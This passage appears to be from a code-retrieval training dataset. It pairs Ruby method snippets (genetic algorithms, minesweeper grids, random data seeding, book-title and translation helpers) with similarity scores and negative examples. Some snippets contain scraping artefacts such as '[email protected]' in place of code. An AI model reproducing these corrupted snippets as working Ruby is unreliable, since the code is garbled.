with its expected population. Then extend the Record to be augmented by the next population.\n base_patients.collect! do |patient|\n patient.elimination_population = population\n generated_patients.push(Generator.finalize_patient(patient))\n Generator.extend_patient(patient)\n end\n end\n \n generated_patients\n end", "def seed_grid\n @BOMBS.times do\n bomb_placed = false\n until bomb_placed\n pos = [rand(@Y_DIM), rand(@X_DIM)]\n unless self[pos].bomb\n self[pos].bomb = true\n bomb_placed = true\n end\n end\n end\n end", "def run_population_trials(num_trials=1000000)\n result = []\n\n cards = create_deck_of_cards\n\n num_trials.times do\n idx = rand(cards.size).to_i\n result << is_type_diamond(cards[idx])\n end\n\n stats = OpenStruct.new \n stats.prob_of_success = result.mean\n stats.std_dev = result.std_dev\n return stats\nend", "def santa_generator\r\n# Santa arrays\r\nsantas = []\r\nsanta_genders = [\"male\", \"female\", \"agender\", \"intersex\", \"N/A\", \"gender fluid\", \"bigender\", \"XXY\", \"XXX\", \"neuter\"]\r\nsanta_ethnicities = [\"Caucasian\", \"Latina\", \"Asian\", \"Unicorn\", \"N/A\", \"Black\", \"Middle-Eastern\", \"Native American\", \"Aboriginal\", \"Alien\"]\r\n\r\n#santa_genders.length.times do |i|\r\n#\tsantas << Santa.new(santa_genders[i], santa_genders[i])\r\n#end\r\n\r\ncount = 0\r\nwhile count < 100\r\n\tsantas << Santa.new(santa_genders[rand(10)], santa_ethnicities[rand(10)])\r\n\tcount += 1\r\nend\r\n\r\nsantas.each {|i|\r\n\ti.age = rand(141)\r\n\tputs \"Santa #{count} is #{i.gender}, #{i.ethnicity}, and #{i.age} years old.\"\r\n}\r\n\r\nend", "def generate_starting_live_cells\n\t\tcells = []\n\t\tcell_count.times do\n\t\t\tstart_x = rand(size) # [0..4]\n\t\t\tstart_y = rand(size) # [0..4]\n\t\t\tcell = Cell.new(start_x, start_y)\n\n\t\t\tcells << cell\n\t\t\tupdate_board(cell)\n\t\tend\n\t\tcells\n\tend", "def test_seed\n @game.populate(3,3,50,0)\n [email protected]\n\n @game.populate(3,3,50,1)\n assert_not_equal zero,@game.state\n\n @game.populate(3,3,50,0)\n assert_equal zero,@game.state\n end", "def natural_selection\n # Clear the ArrayList\n @mating_pool.clear\n max_fitness = @population.max_by { |x| x.fitness(@target) }.fitness(@target)\n # Based on fitness, each member will get added to the mating pool a certain\n # number of times a higher fitness = more entries to mating pool = more\n # likely to be picked as a parent, a lower fitness = fewer entries to mating\n # pool = less likely to be picked as a parent\n @population.each do |p|\n fitness = map1d(p.fitness(@target), (0..max_fitness), (0..1.0))\n # Arbitrary multiplier, we can also use monte carlo method\n n = (fitness * 100).to_i\n n.times { @mating_pool << p } # and pick two rand numbers\n end\n end", "def natural_selection\n # Clear the ArrayList\n @mating_pool.clear\n max_fitness = @population.max_by { |x| x.fitness(@target) }.fitness(@target)\n # Based on fitness, each member will get added to the mating pool a certain\n # number of times a higher fitness = more entries to mating pool = more\n # likely to be picked as a parent, a lower fitness = fewer entries to mating\n # pool = less likely to be picked as a parent\n @population.each do |p|\n fitness = map1d(p.fitness(@target), (0..max_fitness), (0..1.0))\n # Arbitrary multiplier, we can also use monte carlo method\n n = (fitness * 100).to_i\n n.times { @mating_pool << p } # and pick two rand numbers\n end\n end", "def setup_population\n destroy_data\n reindex\n @total_pages = nil\n @pages_retrieved = 0\n end", "def members\n @members ||= population_group_members.collect(&:members).flatten.uniq\n end", "def random_hugs\n huglist_sample = []\n 5.times { huglist_sample.push(Huglist.all.sample[:id]) }\n return huglist_sample.uniq\nend", "def create_joiners(person)\n plants_number = rand(1..4)\n plants_number.times do \n PlantParenthood.create(\n plant_id: Plant.all.sample.id, \n person_id: person.id, \n affection: rand(101), \n favorite?: [true, false].sample\n )\n end\nend", "def generate\n (0..@horizontal_size-1).each do |column|\n (0..@vertical_size-1).each do |row|\n val = Settings.get_random.rand(0..10)\n @map[column][row] = val > 3 ? 1 : 2\n end\n end\n end", "def run\n generate_initial_population() #Generate initial population \n\n (1..@max_generation).each do |generation_number|\n puts \"\\nGeneration #{generation_number}\"\n\n fitness_range = get_fitness_range(@population)\n\n next if fitness_range.max == fitness_range.min\n\n @population.sort!()\n\n selected_to_breed = selection() # Evaluates current population \n\n offsprings = reproduction(selected_to_breed) # Generate the population for this new generation\n\n replace_worst_ranked(offsprings)\n\n puts to_s()\n\n mutate()\n\n increment_age()\n end\n\n #return best_chromosome()\n return @population.sort { |a, b| b.fitness <=> a.fitness}\n end", "def insert_mines\n @random_spots = []\n @num_of_mine.times do\n\n while @random_spots.length < @num_of_mine\n rand_num = Random.rand(@num_of_tiles**2)\n\n if !@random_spots.include?(rand_num)\n @random_spots << rand_num\n end\n\n end\n end\nend", "def reproduction(matingPool, mutationRate, crossoverRate)\n mom = Gene.new(@genePool[1].size)\n dad = Gene.new(@genePool[1].size)\n @genePool.each_index do |geneID|\n m = rand(matingPool.size)\n d = rand(matingPool.size)\n mom.duplicate(matingPool[m])\n if rand < crossoverRate\n dad.duplicate(matingPool[d])\n index = rand(mom.size)\n self.crossover(mom, dad, index)\n end\n self.mutate(mom, mutationRate)\n @genePool[geneID].duplicate(mom)\n end\n # replace genePool 0 with best scoring gene (elitism)\n @genePool[0].duplicate(matingPool[0])\n end", "def assign_random_investigator_names\n @investigators = []\n @sites.each do |country|\n tmparr = []\n country.each do |site|\n tmparr << [\"Dr. \" + Faker::Name.name, 0]\n end\n investigators << tmparr\n end\n @investigators\n end", "def seed; end", "def fortress_random_point\n FortressCell.where(\"mini_map_id=? and symbol=?\", mini_map.id, :concrete.to_s).sample\n end", "def generateCart\n cart = []\n rand(20).times do\n cart.push(ITEMS.sample) \n end\n cart\nend", "def plant_bombs\n while num_bombs < 15\n rand_col = rand(@grid.length)\n rand_row = rand(@grid.length)\n @grid[rand_col][rand_row] = :B\n end\n end", "def treasures_allot\r\n randomnums = Random.new\r\n for num in (1..4) do\r\n roomn = randomnums.rand(1...19)\r\n num += 1\r\n while roomn == 6 or roomn == 11 or roomn == 9 or get_some_room_stuff(roomn,6) != 0\r\n roomn = randomnums.rand(1...19)\r\n end\r\n num-=1\r\n set_at_room(roomn,6, randomnums.rand(10...109))\r\n #puts $ooms_map[roomn]\r\n #puts(\"----------------treasure\")\r\n end\r\nend", "def fill_database(db, number_of_people, number_of_villages)\r\n number_of_people.to_i.times do\r\n fill_nightswatch(db, Faker::GameOfThrones.character, Faker::GameOfThrones.house, Faker::Number.between(1, number_of_villages), Faker::Number.between(1, 5), Faker::Number.between(1, 60))\r\n end\r\n number_of_villages.times do\r\n fill_village_table(db, Faker::GameOfThrones.city)\r\n end\r\nend", "def generate\n (0..30).sort{ rand() } .take(@conf)\n end", "def initialize_cards\n cards = []\n 4.times { cards += (2..14).to_a }\n cards.sample(52)\n end", "def _fake_data\n name = (\"a\"..\"z\").to_a.sample(4).join\n age = 18+((rand+rand+rand)/3*20).floor\n glutenfree = rand(2) == 1\n [name, age, glutenfree]\nend", "def nostalgia; return rand end", "def reproduce(selected, pop_size, p_cross, p_mutation)\n children = []\n selected.each_with_index do |p1, i|\n # p2 = (i.modulo(2)==0) ? selected[i+1] : selected[i-1]\n # p2 = selected[0] if i == selected.size-1\n p2 = selected[rand(selected.size)]\n child = {}\n child[:bitstring] = crossover(p1[:bitstring], p2[:bitstring], p_cross)\n child[:bitstring] = point_mutation(child[:bitstring], p_mutation)\n children << child\n break if children.size >= pop_size\n end\n return children\nend", "def new_rooms\n min_rooms = MIN_NEXT_ROOMS\n max_rooms = MAX_NEXT_ROOMS\n rand(min_rooms..max_rooms).times do\n @next_rooms << Zarta::Room.new(@dungeon)\n end\n end", "def initializePesos\r\n \[email protected] do\r\n\t patron = @patrones[rand(@patrones.count-1)]\r\n @neuronas << {:class=>rand(@cantClases), :pesos => initPesos}\r\n\tend\r\n end", "def generateCoups\n\tcoups = []\n\trand(2).times do\n\t\tcoups.push(COUPS.sample)\n\tend\n\tcoups\nend", "def populate\n end" ]
[ "0.77165264", "0.75206304", "0.72913057", "0.72913057", "0.7075215", "0.70726", "0.70457906", "0.6947969", "0.6929239", "0.68909025", "0.68671143", "0.6807688", "0.6793486", "0.6788079", "0.67029166", "0.67006636", "0.6699862", "0.66874933", "0.660266", "0.64680004", "0.6398976", "0.63848925", "0.63816094", "0.6378378", "0.63706934", "0.63555455", "0.6341418", "0.62744915", "0.62671787", "0.62469566", "0.6238177", "0.62361974", "0.6224928", "0.6223329", "0.6206095", "0.61907667", "0.61902267", "0.6185792", "0.61540645", "0.61198664", "0.6108609", "0.61078775", "0.6104577", "0.61018884", "0.6100734", "0.6098652", "0.6092839", "0.60853547", "0.6080415", "0.6064207", "0.6055472", "0.60516965", "0.6045844", "0.6043652", "0.6042438", "0.60417396", "0.6035671", "0.60228586", "0.59983414", "0.59857017", "0.5983116", "0.5980444", "0.5971262", "0.5966116", "0.5948066", "0.59459364", "0.59440714", "0.59435695", "0.59418935", "0.5940164", "0.59357756", "0.5934063", "0.5925415", "0.5924836", "0.5918585", "0.5918585", "0.59165704", "0.5916063", "0.59158635", "0.5913006", "0.591278", "0.5909192", "0.5905161", "0.5902509", "0.5900581", "0.590047", "0.58898073", "0.5887929", "0.5884926", "0.58752334", "0.58679575", "0.58662367", "0.58576244", "0.5853779", "0.5852485", "0.58497", "0.5842477", "0.5836954", "0.58350086", "0.58158445" ]
0.7945086
0
Returns the list of books titles that require mapping
def missing_mappings books_with_missing_mapping.map(&:title) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def list_books_w_matching_title(title)\n books = @mybooks.get_books_by_title(title)\n\tbooks.each {|book| puts \"#{book[:key]} | #{book[:author]}, #{book[:title]}\"}\nend", "def book_mapping(book)\n title = book.title.downcase.gsub(/\\s+/, '')\n CONFIG[:sources][translation][:mappings][title] || title\n end", "def books_with_missing_mapping\n Bible::Book.all.select do |book|\n mapping = book_mapping(book)\n Rails.logger.info(\"Mapping Check: #{book.title}\")\n begin\n out scrape_verse(mapping, 1, 2), true\n rescue OpenURI::HTTPError\n out false, true\n end\n end\n end", "def get_book_details(title)\n for book in @all_books\n return book if book[:title] == title\n end\n end", "def book_by_title(title)\n\t\t\tresponse = request('/book/title', :title => title)\n\t\t\tHashie::Mash.new(response['book'])\n\t\tend", "def info_by_title(title)\n for book in @array_of_books\n return book if :title == title\n end\n end", "def booklist\n\t\treturn '@selftype' + '@title.each do |title|,'\n\tend", "def books\n self.book_authors.map {|book_author| book_author.book}\n end", "def book_info(book_title)\n for book in @books\n return book if book[:title] == book_title\n end\n return nil\n end", "def titles\n [ { :number => 8, :title => 'Corporations', :ref_url => 'http://delcode.delaware.gov/title8/index.shtml' } ]\nend", "def all_titles\n result = []\n @pages.each do |page|\n result << [page.page_url, page.all_titles] if page.page_a_tags\n end\n result\n end", "def get_all_titles\n show_all_titles_and_subtitles(\"title\")\n return @titles\n end", "def named_books\n # I didn't have the creativity needed to find a good ruby only check here\n books.select(&:name)\n end", "def books_with_authors\n books.select { |b| b.name && b.author_name }\n end", "def extract_titles(resources)\n titles = []\n\n resources.each do |resource|\n titles << resource[:resource_id]\n end\n\n titles\nend", "def item_titles\n legacy? ? items.pluck(:title) : ['Festlegung der Tagesordnung', 'Genehmigung von Protokollen'] + items.pluck(:title)\n end", "def borrowed_books_list\n @borrowed_books.each do |borrowed_books|\n puts borrowed_books.title\n end\n end", "def ordered_titles\n sort_titles_by_index.map { |titles| titles.first }\n end", "def titles_filter\n titles_filter = self[:titles_filter] || []\n return titles_filter if titles_filter.any?\n options.fetch 'titles_filter', []\n end", "def book_title(book, works: book.works)\n author_aliases = works.find_all(&:title?).uniq(&:person_alias_id).map do |work|\n person_alias(work.person_alias)\n end\n\n \"#{author_aliases.join \", \"} «#{book.title}»\"\n end", "def index\n @books = params[:search] ? Book.select{|book| book.title.downcase.include?(params[:search].downcase)} : Book.all\n end", "def print_titles(books)\n books.each do |book|\n puts get_title(book)\n end\nend", "def book_info_goodreads_library\n client = Goodreads::Client.new(Goodreads.configuration)\n results = client.book_by_title(params[:q])\n rescue\n []\n end", "def get_title_names\n self.account.get_title_names()\n end", "def return_book_hash_simple(book_title_str)\n for book_hash in @books\n if book_hash[:title] == book_title_str\n return book_hash\n end\n end\n return \"The book is not available\"\n end", "def find_book_by_title(title)\n for book in @books\n if book[:title] == title\n return book\n end\n end\n end", "def add_booktitle\n included_in = @bib.relation.detect { |r| r.type == \"includedIn\" }\n return unless included_in\n\n @item.booktitle = included_in.bibitem.title.first.title\n end", "def books\n result = []\n if @filename2books\n @filename2books.each do |_filename,books|\n next if books.empty?\n\n books.each do |wr_book|\n result << wr_book.__getobj__ if wr_book.weakref_alive?\n end\n end\n end\n result\n end", "def auto_complete_for_journal_title\n # Don't search on blank query.\n query = params['rft.jtitle']\n search_type = params[\"umlaut.title_search_type\"] || \"contains\"\n unless ( query.blank? )\n (context_objects, total_count) = find_by_title\n @titles = context_objects.collect do |co|\n metadata = co.referent.metadata\n {:object_id => metadata[\"object_id\"], :title => (metadata[\"jtitle\"] || metadata[\"btitle\"] || metadata[\"title\"])}\n end\n end\n render :text => @titles.to_json, :content_type => \"application/json\"\n end", "def returnBooksByGenre(userGenre)\n @books.each do \n |book|\n #book[0] holds just the key of all the book in the hash\n #book[1] holds availablility and the book itself\n #For every book, check if available\n book[1][0].select do\n |key, value|\n if(value.genre == userGenre)\n p value\n end\n end #end inner do\n end #end outer do\n end", "def authors\n # 1. Find all of the books in this genre\n # 2. Return back the author for every book\n books.collect do |book|\n # Each book, I want the author\n book.author\n end.uniq\n end", "def titles\n @title\n end", "def slug_candidates\n [\n :title,\n [:title, :year],\n ]\n end", "def get_keywords\n titles.map do |title|\n title.split(\" \")\n end\n end", "def sort_books\n # sort by starting with A - Z \n # iterate over all book titles, looking at the first letter of the title\n # title is alphabetized\n # return the list of books in order\n\n # need all books\n self.all.sort_by { |book| book.title }\n end", "def book_list\n\t\tputs \"Here are the books in our library:\"\n\t\[email protected] { |book| puts \"#{book.name}\" }\n\tend", "def index\n @page_title = 'Listing books'\n \n sort_by = params[:sort_by]\n @books = Book.find(:all, :order => sort_by)\n\n # Using my titleizer gem to convert title\n @books.each do |b|\n b.title = Title.titleize(b.title)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @books }\n end\n end", "def doc_ids_titles\n { 'fl' => 'id,title_main', 'facet' => 'false' }\n end", "def get_books author\n books = @books[author]\n if books == nil\n puts \"No such author\"\n else\n puts books.join ', '\n end\n end", "def list_books\n @books.each {|book| puts \"'#{book.title}' is #{book.status}.\" }\n end", "def search_title_scrape\n @doc.search('b')[2..6].each do |name|\n @names << name.text\n end\n search_description_scrape\n end", "def validate_titles\n nested_ordered_title.select { |i| (i.instance_of? NestedOrderedTitle) && (i.index.first.present? && i.title.first.present?) && (i.index.first.instance_of? String) && (i.title.first.instance_of? String) }\n .map { |i| i.instance_of?(NestedOrderedTitle) ? [i.title.first, i.index.first] : [i] }\n .select(&:present?)\n end", "def get_titles()\n puts @arr_of_titles\n end", "def generatetitles()\n merge(gadrgeneratetitles: 'true')\n end", "def common_component_titles_like(*titles)\r\n records = Array.new\r\n titles.each do |title|\r\n records += common_component_class.where(\"title LIKE '%#{title}%'\")\r\n end\r\n records\r\n end", "def getAllBooks()\n puts \"\\nBOOKS:\"\n puts \"-------------------------------------------------\"\n @books.each {|book| puts \"ID: \" + book.id.to_s +\n \", Name: \" + book.title +\n \", Author: \" + book.author +\n \", Publication: \" + book.publication +\n \", Year: \" + book.year.to_s +\n \", Rack No.: \" + book.rack_no .to_s+\n \", Total Copies: \" + book.total_copies.to_s +\n \", Copies Available: \" + book.copies_available.to_s\n }\n puts \"-------------------------------------------------\"\n end", "def category_titles\n categories.map(&:title)\n end", "def list_books\n @books.each { |book| puts \"#{book.title} - #{book.author} : #{book.status}\"}\n end", "def find_rental_details_by_title(title)\n for book in @books\n if book[:title] == title\n return book[:rental_details]\n end\n end\n end", "def get_title_names( title_sym = :receipt )\n [\n I18n.t( title_sym.nil? ? :receipt : title_sym.to_sym, {:scope=>[:receipt]}),\n get_year_with_number(),\n self.patient.surname\n ]\n end", "def titles(library)\nend", "def book_title\n self.part_of_title_by_type('Book')\n end", "def main_category_titles\n main_categories.map(&:title)\n end", "def list_books\n @books.each do |book|\n puts \"#{book.title} by #{book.author}: #{book.status}\"\n end\n end", "def job_titles\n collection(\"job_titles\")\n end", "def chapters(title)\n return nil unless title[:number] == 8\n [ { :number => 1, :title => 'GENERAL CORPORATION LAW', :ref_url => 'http://delcode.delaware.gov/title8/c001/index.shtml' } ]\nend", "def all_article_titles_with_authors\n @all = {}\n search_techcrunch[\"articles\"].each do |hash|\n author = hash[\"author\"]\n title = hash[\"title\"]\n @all[title] = author\n end\n return @all\n end", "def published_assessment_titles\n titles =[]\n published_table = frm.div(:class=>\"tier2\", :index=>2).table(:class=>\"listHier\", :index=>0)\n 1.upto(published_table.rows.size-1) do |x|\n titles << published_table[x][1].span(:id=>/publishedAssessmentTitle/).text\n end\n return titles\n end", "def book_info_goodreads_library\n client = Goodreads::Client.new(Goodreads.configuration)\n results = client.book_by_title(params[:q]) if (params[:t] == \"title\" || params[:t].blank?)\n results = client.book_by_isbn(params[:q]) if params[:t] == \"isbn\"\n return results\n end", "def book_info_goodreads_library\n client = Goodreads::Client.new(Goodreads.configuration)\n results = client.book_by_title(params[:q]) if (params[:t] == \"title\" || params[:t].blank?)\n results = client.book_by_isbn(params[:q]) if params[:t] == \"isbn\"\n return results\n end", "def return_names_array(doc)\n names = doc.css(\".search-content .teaser-item__title a span\")\n recipe_names = []\n names.each do |element|\n recipe_names << element.text\n end\n return recipe_names\n end", "def list_books\n @books = Book.all\n @books.each.with_index(1) do |book, i|\n puts \"#{i}.#{book.title} - #{book.author}\" \n #puts \"------------\"\n end\n puts \" \"\n puts \" \"\n end", "def extract_work_title_display\n \ttitle_display_array = {}\n self.find_by_terms(:vra_work,:titleSet,:titleSet_display).each do |title_display|\n ::Solrizer::Extractor.insert_solr_field_value(title_display_array, \"title_display_tesim\", title_display.text) \n end\n return title_display_array\n end", "def authorSearch(name)\n matches = @books_in_stock.select {|isbn,book| book.author == name}\n matches.values\n end", "def titles\n urls.each do |url|\n @titles << Nokogiri::HTML(open(url)).css('title')[0].text\n end\n @titles\n end", "def solr_resp_ids_titles(solr_params)\n solr_response(solr_params.merge(doc_ids_titles))\n end", "def compose_title_list(pairs)\n query = ''\n pairs.each do |s, ct|\n query = query + \" title:\\\"#{s}\\\"\"\n end\n \"(#{query})\"\n end", "def index\n default_q = {\n name_not_cont_all: (1..9).to_a.map { |i| [\"(#{i})\", \"(#{i})\", \"(0#{i})\", \"(0#{i})\"] }.flatten,\n press_not_cont_all: %w(東立 九星文化出版社 台灣角川股份有限公司 旺福圖書 N/A 銘顯文化事業有限公司 上海譯文出版社 明日工作室股份有限公司 橘子 十田十 青文出版社股份有限公司 尖端出版 龍吟ROSE 台灣東販股份有限公司 桔子),\n rate_gt: 4.5\n }\n @q = Book.enabled.ransack(params[:q])\n @books = params[:q] ? @q.result(distinct: true).page(params[:page]) :\n Book.enabled.ransack(default_q).result.page(params[:page]).order(publish_at: :desc)\n end", "def list_books\n @books.each do |books|\n puts books.title + \" is currently \" + books.status + \".\"\n end\n end", "def find_books\n sql = \"SELECT * FROM books WHERE source_language_id = $1\"\n values = [@id]\n results = SqlRunner.run(sql, values)\n books_array = results.map{|book| Book.new(book)}\n return books_array\n end", "def slug_candidates\n [\n :title,\n [:title, year],\n [:title, full_date]\n ]\n end", "def find_book_by_title(book_title)\n books = @books\n for book in books\n if (book[:title] == book_title)\n return book\n end\n end\n return nil\n end", "def get_books\n unless self.scraped\n page = Nokogiri::HTML(open(self.url), nil, \"iso-8859-1\")\n item_elements = page.css(\".g-span7when-wide\")\n item_elements.each do |item|\n book_data = {}\n book_data[:title] = item.at_css(\".a-link-normal\").text.strip\n book_data[:author] = item.at_css(\".a-size-small\").text.split(\"by\")[-1].strip\n book_data[:price] = item.at_css(\".a-color-price\").text.strip\n book_data[:price] = \"N/A\" unless book_data[:price].include?(\"$\")\n book_data[:asin] = item.at_css(\".a-link-normal\")[\"href\"].split(\"/\")[2].strip.split(\"?\")[0]\n self.books << Book.new(book_data)\n end\n self.last_scraped = Time.now\n self.scraped = true\n end\n end", "def genres\n to_array search_by_itemprop 'genre'\n end", "def available_books\n\t\tputs \"Available Books:\"\n\t\t@book_status.each { |k, v| puts \"#{k}\" if v == \"available\" }\n\tend", "def find_article_titles_by_author(author)\n @titles = []\n search_techcrunch[\"articles\"].each do |article|\n if article[\"author\"].include?(author)\n @titles << article[\"title\"]\n end\n end\n @titles.each_with_index do |title, index| puts \"#{index+1}. #{title}\"\n end\n return nil\n end", "def cookbookshelf\n \n cbs = Recipe.find_by_sql \"SELECT DISTINCT cookbook_id FROM recipes\"\n @indexedbooks = Array.new\n cbs.each do |cb|\n cbtitle = cb.cookbook.title.gsub(/^(.{50}[\\w.]*)(.*)/) {$2.empty? ? $1 : $1 + '...'}\n cb_details = {\n :id => cb.cookbook_id,\n :ISBN => cb.cookbook.ISBN,\n :author => cb.cookbook.author.name,\n :title => cbtitle\n }\n \n @indexedbooks << cb_details\n \n @indexedbooks = @indexedbooks.sort_by { |cookbook| cookbook[:author] }\n end\n respond_to do |format|\n format.html\n end\n end", "def show\n \t@books = Book.find_all_by_title(params[:book_name])\n end", "def get_book_title(book)\nend", "def books\n Book.where(\"songs ? :id\", id: self.id.to_s)\n end", "def index\n if params[:search]\n @lib_books = []\n @library.lib_books.each do |lib_book|\n @book = Book.find_by_id(lib_book.book_id)\n if params[:title] != \"\"\n next if [email protected]? params[:title].downcase\n end\n if params[:author] != \"\"\n next if [email protected]? params[:author].downcase\n end\n if params[:published] != \"\"\n next if [email protected]_s.eql? params[:published]\n end\n if params[:subject] != \"\"\n next if [email protected]? params[:subject].downcase\n end\n @lib_books.push(lib_book)\n end\n else\n @lib_books = @library.lib_books\n end\n end", "def weight_titles(ignore_id=nil)\n return weights(ignore_id).map{|x| x.text}\n end", "def untitled_labels\n Fe::Page.where(\"label like 'Page%'\").map {|s| s.label}\n end", "def all\n @books.each {|item| puts \"#{item[0]} (#{item[1]})\" }\n end", "def title_level_handles\n heb_title_ids = @heb_ids.map { |heb_full_book_id| heb_full_book_id[0, 8] }\n\n title_level_handles = {}\n\n heb_title_ids.each do |heb_title_id|\n # note: wrapping each `heb_title_id` with wildcard '*'s because the ':' in heb_id:heb98756.0001.001 is not a word break in a _tesim field.\n # searching `identifier_ssim` instead would also work.\n docs = ActiveFedora::SolrService.query(\"+has_model_ssim:Monograph AND +press_sim:heb AND -id:#{@noid} AND +identifier_tesim:*#{heb_title_id}*\", rows: 100_000)\n\n # If a title has multiple Monographs we will point the title-level handle to a Blacklight search, e.g.:\n # '2027/heb04045' --> 'https://www.fulcrum.org/heb?q=heb04045*'\n # Otherwise we will simply point it to the one extant HEB Monograph, e.g.:\n # '2027/heb12345' --> 'https://www.fulcrum.org/concern/monographs/999999999'\n if docs.count > 0\n # Adding the q parameter using the helper seems inevitably to URL-escape the asterisk. Just concatenate it.\n title_level_handles[\"2027/#{heb_title_id}\"] = Rails.application.routes.url_helpers.press_catalog_url('heb') + \"?q=#{heb_title_id}*\"\n else\n title_level_handles[\"2027/#{heb_title_id}\"] = Rails.application.routes.url_helpers.hyrax_monograph_url(@noid)\n end\n end\n\n title_level_handles\n end", "def slug_candidates\n [:title]\n end", "def titles(*values)\n values.inject(self) { |res, val| res._titles(val) }\n end", "def titles(*values)\n values.inject(self) { |res, val| res._titles(val) }\n end", "def title\n\t\t@book\n\tend", "def collection_titles_from_solr\n @collection_titles_from_solr ||= begin\n raise TypeError.new(\"Can't find collections from solr until work is saved\") unless self.id.present?\n ActiveFedora::SolrService.query(\n \"has_model_ssim:Collection AND member_ids_ssim:#{self.id}\",\n fl: \"id,title_tesim\",\n rows: 100).collect { |hash| hash[\"title_tesim\"]}\n end\n end", "def slug_candidates\n [\n :title,\n %i[title city],\n %i[title city zipcode]\n ]\n end", "def title_headers\r\n @items.collect do |item|\r\n\t \"#{item.title}-#{item.pubDate}\"\r\n\tend\r\n end", "def slug_candidates\n [\n [:title],\n [:title, :address],\n [:title, :address, :id]\n ]\n end", "def rent_details(books) #passed\n details_collect = []\n for rentals in books[:rental_details]\n details_collect.push(rentals)\n end\n end", "def extract_title\n title = extract(:title).presence\n return [] unless title\n\n # @type var title: Array[String]\n title = Array(title)\n return title.map(&:downcase) if extract(:lowercase) == true\n\n title\n end", "def titles\n RakeMKV::Titles.new(build_titles)\n end", "def titles\n RakeMKV::Titles.new(build_titles)\n end", "def show\n @books = @promotion.books.order(:sort_title)\n @subjects = @promotion.books.map{ |book| book.subjects }\n # binding.pry\n\n unless params[:subject].nil?\n @books = @promotion.books.where('subjects LIKE ?', \"%#{params[:subject]}%\")\n .order(:sort_title)\n end\n end", "def list\n @books = Book.all\n end", "def sw_subject_titles(sep = ' ')\n result = []\n mods_ng_xml.subject.titleInfo.each { |ti_el|\n parts = ti_el.element_children.map(&:text).reject(&:empty?)\n result << parts.join(sep).strip unless parts.empty?\n }\n result\n end" ]
[ "0.69025683", "0.6664996", "0.6332127", "0.63293105", "0.62854755", "0.6246722", "0.6224005", "0.61639774", "0.6144208", "0.6053566", "0.60528654", "0.60228664", "0.5941101", "0.59186614", "0.5905289", "0.58911085", "0.58618873", "0.5844521", "0.58437264", "0.58156776", "0.58049417", "0.5766084", "0.5757515", "0.5728414", "0.57258284", "0.57119703", "0.57071114", "0.5697764", "0.569694", "0.5690376", "0.5663117", "0.5652529", "0.56479186", "0.5647749", "0.56431866", "0.56352043", "0.5630047", "0.562071", "0.5610539", "0.5589075", "0.5585528", "0.5573943", "0.55655205", "0.5528791", "0.55157554", "0.55135435", "0.55049634", "0.5504584", "0.5494622", "0.54901433", "0.5470573", "0.5468758", "0.5460653", "0.545931", "0.5448604", "0.5427683", "0.54274684", "0.54255366", "0.54229194", "0.54229194", "0.54151696", "0.54116416", "0.5409766", "0.5405508", "0.54034746", "0.53911793", "0.5383386", "0.537278", "0.53698003", "0.53659654", "0.536331", "0.53571415", "0.5345029", "0.5344302", "0.53378624", "0.53366566", "0.53342235", "0.5328399", "0.53270566", "0.53241706", "0.532219", "0.53205097", "0.5319164", "0.530564", "0.53037286", "0.530306", "0.5302446", "0.5302446", "0.5302306", "0.52844495", "0.5276412", "0.5274879", "0.5273304", "0.52726614", "0.5272638", "0.5268539", "0.5268539", "0.5265915", "0.526274", "0.52483577" ]
0.76230174
0
Srapes single book translation
def scrape_book(book) print "\nScraping #{book.title}:" unless Rails.env.test? book.chapters_count.times do |i| print "\n#{i + 1}: " unless Rails.env.test? scrape_chapter(book, i + 1) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_by_slug(slug)\n record = @dao.search({ 'slug' => slug }, { limit: 1 })\n translate(record)\n end", "def translate\n api = ENV['API']\n url = 'https://translation.googleapis.com/language/translate/v2?key='\n target_language = self.phrasebook.language.abbr\n input = self.phrase.input\n # byebug\n\n request = HTTParty.get(url + api + '&q=' + input + '&source=en' + '&target=' + target_language)\n response = JSON.parse(request.body)\n translation = response['data']['translations'][0]['translatedText']\n end", "def show\n @book = Book.find(params[:id])\n @chapters = @book.chapters\n wl = WhatLanguage.new(:all)\n @lang = \"\"\n @book.chapters.each do\n @lang = wl.language(@book.chapters[0].content).to_s.capitalize\n end\n\n do_response @book.to_json(:include => :chapters)\n end", "def book\n fetch('harry_potter.books')\n end", "def translations(language = nil)\n Birdman::Requester.get(\"movies/#{id}/translations/#{language}\")\n end", "def get_chapter(chapter, lang=@default_lang)\n return @languages[lang][chapter]\n end", "def search_for(verse)\n @query = {\n \"passage\" => verse\n }\n\n @results = self.class.get(\"#{@url}bible.php?\", :query => @query)\n\n @item = @results.parsed_response['bible']['range']['item']\n\n if @item.is_a? Array\n @text = @item.map do |item| \n \"#{item['verse']} #{item['text']} \\n\"\n end.join('')\n else\n @text = @item['text']\n end\n\n @text\n end", "def retrieve_book\n @book = Book.find(params[:book_id])\n end", "def load_language(lang)\n puts \"Loading current translations for language #{lang}\"\n system(\n 'curl -X GET ' \\\n \"'https://translation.io/api/v1/segments.json?target_language=#{lang}' \" \\\n \"-H 'x-api-key: #{$API_KEY}' > ,full-list\"\n )\n current_translations_file_contents = File.read(',full-list')\n current_translations_json = JSON.parse(current_translations_file_contents)\n\n if current_translations_json.key?('errors')\n puts 'Error:'\n puts current_translations_json['errors']\n exit 1\n end\n\n # Initialize hash in CURRENT_TRANSLATIONS for this new language\n $CURRENT_TRANSLATIONS[lang] = {}\n\n # Reorganize so that $CURRENT_TRANSLATIONS[lang][key] contains segment\n # information that translations.io provides:\n # id, key, target_language, target, etc.\n current_translations_json['segments'].each do |segment|\n # Work around bug in Rubocop\n if segment['target_language'] != lang\n STDERR.puts \"Error: Expected language #{lang} in segment #{segment}\"\n exit 1\n end\n $CURRENT_TRANSLATIONS[lang][segment['key']] = segment\n end\nend", "def fetch_translations(locale)\n self.translations ||= {}\n return if self.translations[locale]\n\n # Tml.logger.debug(\"Fetching translations for #{label}\")\n\n results = self.application.api_client.get(\n \"translation_keys/#{self.key}/translations\",\n {:locale => locale, :per_page => 10000},\n {:cache_key => Tml::TranslationKey.cache_key(locale, self.key)}\n ) || []\n\n update_translations(locale, results)\n\n self\n rescue Tml::Exception => ex\n self.translations = {}\n self\n end", "def find_books\n sql = \"SELECT * FROM books WHERE source_language_id = $1\"\n values = [@id]\n results = SqlRunner.run(sql, values)\n books_array = results.map{|book| Book.new(book)}\n return books_array\n end", "def book_by_title(title)\n\t\t\tresponse = request('/book/title', :title => 